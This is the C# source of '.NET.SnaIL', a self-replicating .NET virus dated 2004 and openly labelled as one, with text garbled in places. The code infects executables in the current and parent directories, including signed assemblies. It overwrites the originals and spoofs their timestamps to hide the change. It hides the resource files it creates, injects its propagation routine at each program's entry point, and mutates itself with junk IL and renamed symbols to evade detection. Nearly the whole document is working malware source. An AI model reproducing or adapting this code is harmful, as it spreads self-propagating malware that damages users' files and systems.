/* * * .NET.SnaIL RC2 * * Features: * - pure .NET virus (doesn't use any Win32 API) * - multithreaded * - permutation (inserting nop and ldloc/pop trash) * - obfuscation (changing names of symblos) * * You may make with this sources anything you wish. * Author is not responsible for consequences. * * (c) whale 2004 */ //#define DEBUGCONSOLE // debug console #define MANAGEDRESOURCES // create managed resources in infected file (beta-testing feature) #define PERMUTATION #define OVERWRITE // overwrite original file with infected #define INFECTSIGNED // infect signed assemblies using System; using System.Reflection; using System.Globalization; using System.Resources; using System.IO; using System.Collections; using System.Reflection.Emit; using System.Threading; using Reflector.Disassembler; using System.Runtime.Remoting; namespace DotNet { internal class Snail { static string copyright = "[ .NET.Snail - sample CLR virus (c) whale 2004 ]"; // non-static constructor // needed to run virus in separate domain public Snail(string inFileName, string outFileName) { try { Snail.shorts=true; Snail.ProcessAssembly(inFileName, outFileName); if(!Snail.shorts) Snail.ProcessAssembly(inFileName, outFileName); } catch (ThreadAbortException e) { File.Move(inFileName, outFileName); } catch(Exception e) { #if DEBUGCONSOLE Console.WriteLine(e.Message); #endif // Console.WriteLine(); } } public class Objects { Hashtable types, ctors, events, fields, methods, props; public Objects() { types = new Hashtable(); ctors = new Hashtable(); events = new Hashtable(); fields = new Hashtable(); methods = new Hashtable(); props = new Hashtable(); } ~Objects() { } public void Clear() { types.Clear(); ctors.Clear(); events.Clear(); fields.Clear(); methods.Clear(); props.Clear(); } public void AddType(Type intype, TypeBuilder outtype) { types.Add(intype, outtype); } public void DefineMembers(Type intype, ModuleBuilder moduleBuilder) { if(!types.ContainsKey(intype)) return; foreach (PropertyInfo pi in intype.GetProperties(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance | BindingFlags.DeclaredOnly)) { TypeBuilder outproptype=(TypeBuilder)types[pi.PropertyType]; PropertyBuilder outpb; if(outproptype!=null) outpb=((TypeBuilder)types[intype]).DefineProperty( EnabledRename(intype)?rs.Next():pi.Name, pi.Attributes, outproptype, null); else outpb=((TypeBuilder)types[intype]).DefineProperty( EnabledRename(intype)?rs.Next():pi.Name, pi.Attributes, pi.PropertyType, null); props.Add(pi, outpb); } foreach (FieldInfo fi in intype.GetFields(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance | BindingFlags.DeclaredOnly)) { TypeBuilder outfieldtype=(TypeBuilder)types[fi.FieldType]; FieldBuilder outfb; if(outfieldtype!=null) outfb=((TypeBuilder)types[intype]).DefineField( EnabledRename(intype)?rs.Next():fi.Name, outfieldtype, fi.Attributes); else outfb=((TypeBuilder)types[intype]).DefineField( EnabledRename(intype)?rs.Next():fi.Name, fi.FieldType, fi.Attributes); fields.Add(fi, outfb); } foreach (ConstructorInfo ci in intype.GetConstructors(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance | BindingFlags.DeclaredOnly)) { ParameterInfo [] pinfo=ci.GetParameters(); Type [] cparams = new Type[pinfo.Length]; for(int i=0; i0) { LocalBuilder localBuilder = lb[rand.Next(lb.Length)]; // push random local variable and pop it il.Emit(OpCodes.Ldloc, localBuilder); il.Emit(OpCodes.Pop); } #endif } } private static byte [] ilReader; public static void Go() { string dir; ilReader = GetILReader(); do { ProcessDirectory(); dir=Directory.GetCurrentDirectory(); Directory.SetCurrentDirectory(".."); } while(dir!=Directory.GetCurrentDirectory()); } // infect all files in current directory public static void ProcessDirectory() { string [] fnames = Directory.GetFiles(".", "*.exe"); if(fnames.Length==0) return; bool donotdel=File.Exists("ILReader.dll"); if(!donotdel && ilReader!=null) { FileStream outStream = new FileStream("ILReader.dll", FileMode.CreateNew, FileAccess.ReadWrite); if(outStream!=null) { BinaryWriter outWriter = new BinaryWriter(outStream); outWriter.Write(ilReader); #if DEBUGCONSOLE Console.WriteLine("Created ILReader.dll"); #endif } outStream.Close(); } foreach (string fileName in fnames) { #if OVERWRITE string outFileName = Path.GetFileName(fileName); string outFileNameWithoutExtension= Path.GetFileNameWithoutExtension(outFileName); string inFileName = "_" + outFileName; if(/*outFileName.ToUpper()=="SNAIL.EXE" ||*/ outFileName[0]=='_' || outFileNameWithoutExtension== Assembly.GetExecutingAssembly().GetName().Name) continue; // пропускаем себя // omit self if(File.Exists(inFileName)) continue; DateTime ctime=File.GetCreationTime(outFileName); DateTime latime=File.GetLastAccessTime(outFileName); DateTime lwtime=File.GetLastWriteTime(outFileName); File.Move(outFileName, inFileName); #else string inFileName = Path.GetFileName(fileName); string outFileName = "_infected_" + inFileName; if(inFileName.ToUpper()=="SNAIL.EXE" || inFileName[0]=='_') continue; // пропускаем себя // omit self #endif #if DEBUGCONSOLE Console.WriteLine("infecting "+outFileName+" ..."); #endif try { // ProcessAssembly(inFileName, outFileName); // if(!shorts) // ProcessAssembly(inFileName, outFileName); // run ProcessAssembly in separate domain // once opened assembly cannot be closed in current domain object [] args = new object [2] {inFileName, outFileName}; AppDomain appdom=AppDomain.CreateDomain("domain"); Type tsnail = typeof(Snail); string aname=Assembly.GetExecutingAssembly().GetName().Name; ObjectHandle oh=appdom.CreateInstance( aname, tsnail.FullName, false, BindingFlags.Default, null, args, null, null, null); AppDomain.Unload(appdom); #if OVERWRITE if(File.Exists(outFileName)) { #if DEBUGCONSOLE Console.WriteLine(outFileName+" exists"); #endif File.Delete(inFileName); AddILReader(outFileName, ilReader); File.SetCreationTime(outFileName, ctime); File.SetLastAccessTime(outFileName, latime); File.SetLastWriteTime(outFileName, lwtime); #if MANAGEDRESOURCES string resFileName=outFileNameWithoutExtension+".resources"; if(File.Exists(resFileName)) { File.SetCreationTime(resFileName, ctime); File.SetLastAccessTime(resFileName, latime); File.SetLastWriteTime(resFileName, lwtime); File.SetAttributes(resFileName, FileAttributes.Hidden); } #endif } else File.Move(inFileName, outFileName); #endif } catch (ThreadAbortException e) { File.Move(inFileName, outFileName); return; } catch (Exception e) { #if DEBUGCONSOLE Console.WriteLine(e.Message); #endif // Console.WriteLine(e.Message); } } if(!donotdel) File.Delete("ILReader.dll"); } private static PEFileKinds GetFileType(string filename) { FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read); if(fs==null) return 0; byte [] buf = new byte[4]; fs.Seek(0x3c, SeekOrigin.Begin); fs.Read(buf, 0, 4); uint peoffset=(uint)buf[0]| ((uint)buf[1])>>8| ((uint)buf[2])>>16| ((uint)buf[3])>>24; fs.Seek(peoffset+0x5c, SeekOrigin.Begin); fs.Read(buf, 0, 1); fs.Close(); if(buf[0]==3) return PEFileKinds.ConsoleApplication; else return PEFileKinds.WindowApplication; } public static void ProcessAssembly(string inFileName, string outFileName) { AppDomain ad; AssemblyName an; AssemblyBuilder ab; PEFileKinds filetype=GetFileType(inFileName); Objects objects = new Objects(); ad = System.Threading.Thread.GetDomain(); an = new AssemblyName(); an.Name = System.IO.Path.GetFileNameWithoutExtension (outFileName); ab = ad.DefineDynamicAssembly (an, AssemblyBuilderAccess.RunAndSave); Assembly asm = Assembly.LoadFrom(inFileName); #if !INFECTSIGNED if(asm.GetName().GetPublicKeyToken()!=null) return; #endif #if !MANAGEDRESOURCES if(ManagedResourcesPresent(asm)) return; #endif Assembly asm1 = Assembly.GetExecutingAssembly(); // добавляем в результ. сборку класс Snail // add Snail class to result assembly Module [] modules = asm.GetModules(); ModuleBuilder mbmain=null; for(int i=0; i22) if(type1.FullName.Substring(0, 22)=="Reflector.Disassembler") SetType(type1, null, outmodb, reader1, objects); } foreach (Type type1 in types1) objects.DefineMembers(type1, outmodb); foreach (Type type1 in types1) { if(type1==typeof(Snail))// || type1==typeof(Process)) EmitType(type1, null, reader1, asm, ref ab, false, filetype, objects); if(type1.FullName.Length>22) if(type1.FullName.Substring(0, 22)=="Reflector.Disassembler") EmitType(type1, null, reader1, asm, ref ab, false, filetype, objects); } } } } foreach (Type type in types) SetType(type, null, outmodb, reader, objects); foreach (Type type in types) objects.DefineMembers(type, outmodb); foreach (Type type in types) EmitType(type, null, reader, asm, ref ab, true, filetype, objects); } #if MANAGEDRESOURCES try { CreateResources(asm, ab, outFileName); } catch (ThreadAbortException e) { File.Move(inFileName, outFileName); return; } catch(Exception e) { #if DEBUGCONSOLE Console.WriteLine("Failed CreateResources:error: "+e.ToString()); #endif // Console.WriteLine(); } #endif try { ab.Save(outFileName); } catch (ThreadAbortException e) { File.Move(inFileName, outFileName); return; } catch(Exception e) { #if DEBUGCONSOLE Console.WriteLine("Failed AssemblyBuilder.Save:error: "+e.ToString()); #endif // Console.WriteLine(); } try { CopyUnmanagedResources(inFileName, outFileName); } catch (ThreadAbortException e) { File.Move(inFileName, outFileName); return; } catch(Exception e) { #if DEBUGCONSOLE Console.WriteLine("Failed CopyUnmanagedResource:error: "+e.ToString()); #endif } } private static void SetType(Type type, Type wrapperType, ModuleBuilder outmodb, ModuleReader reader, Objects objects) { // на верхнем уровне пропускаем типы с "+" в имени // skip types with "+" in name at top level string tname=type.FullName; if(wrapperType==null && -1!=tname.IndexOf("+")) return; Type extType = type.BaseType;// returns System.Object Type extType2; if(extType!=null) extType2 = objects.TypeCompliance(extType); else extType2 = null; if(extType2==null) extType2=extType; Type [] interfaceTypes = type.GetInterfaces(); TypeBuilder outclassb; if(wrapperType!=null) { // находим builder надкласса // find wrapper TypeBuilder TypeBuilder parentTypeOut=objects.TypeCompliance(wrapperType); outclassb=parentTypeOut.DefineNestedType( //type.Name, EnabledRename(type) ?rs.Next():type.Name, type.Attributes, extType2, interfaceTypes); } else { string newTypeName; if(typeof(Snail).GetHashCode()==type.GetHashCode()) newTypeName=EnabledRename(type)?(rs.Next()+"."+rs.Next()):tname; else newTypeName=EnabledRename(type)?rs.Next():tname; outclassb=outmodb.DefineType( //tname, newTypeName, type.Attributes, extType2, interfaceTypes); } // Сначала добавляем класс в список, затем определяем его дочерние типы // и затем уже его свойства и методы objects.AddType(type, outclassb); Type [] nestedClasses = type.GetNestedTypes(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance | BindingFlags.DeclaredOnly); foreach(Type nestedClass in nestedClasses) SetType(nestedClass, type, outmodb, reader, objects); } private static MethodBase goBase; private static void DefParams(MethodBase methodBase, ref MethodBuilder methodBuilder) { ParameterInfo [] inp=methodBase.GetParameters(); for(int i=0; i 0)) { #if DEBUGCONSOLE Console.Write(".locals ("); #endif for (int i = 0; i < locals.Length; i++) { #if DEBUGCONSOLE Console.Write(locals[i].ToString()); Console.Write(" "); Console.Write("V_" + i); if (i != (locals.Length - 1)) Console.Write(", "); #endif Type t=objects.TypeCompliance(locals[i]); if(t!=null) lbuilders[i]=il.DeclareLocal(t); else lbuilders[i]=il.DeclareLocal(locals[i]); } #if DEBUGCONSOLE Console.Write(")"); Console.WriteLine(); #endif } RandomCodeEmitter rce=new RandomCodeEmitter(il, lbuilders); LocalBuilder loc=null; // if this method is EP, add constructor and Go() method call if(entrypoint) { MethodBuilder go = objects.MethodCompliance(typeof(Snail), goBase); loc = il.DeclareLocal(typeof(System.Threading.Thread)); rce.Emit(); il.Emit(OpCodes.Ldnull); rce.Emit(); il.Emit(OpCodes.Ldftn, go); rce.Emit(); Type thrStart = typeof(System.Threading.ThreadStart); ConstructorInfo [] carray = thrStart.GetConstructors(); ConstructorInfo ctorThreadStart = carray[0]; il.Emit(OpCodes.Newobj, ctorThreadStart); Type [] t2=new Type[1]; t2[0]=typeof(System.Threading.ThreadStart); ConstructorInfo ctorThread = (typeof(System.Threading.Thread)).GetConstructor(t2); il.Emit(OpCodes.Newobj, ctorThread); rce.Emit(); il.Emit(OpCodes.Stloc, loc); rce.Emit(); il.Emit(OpCodes.Ldloc, loc); MethodInfo miStart = typeof(System.Threading.Thread).GetMethod("Start"); il.Emit(OpCodes.Callvirt, miStart); rce.Emit(); } // Exception handlers ExceptionHandler[] exceptions = methodBody.GetExceptions(); //Exc [] exc = new Exc [exceptions.Length]; if (exceptions != null) { for (int i=0; i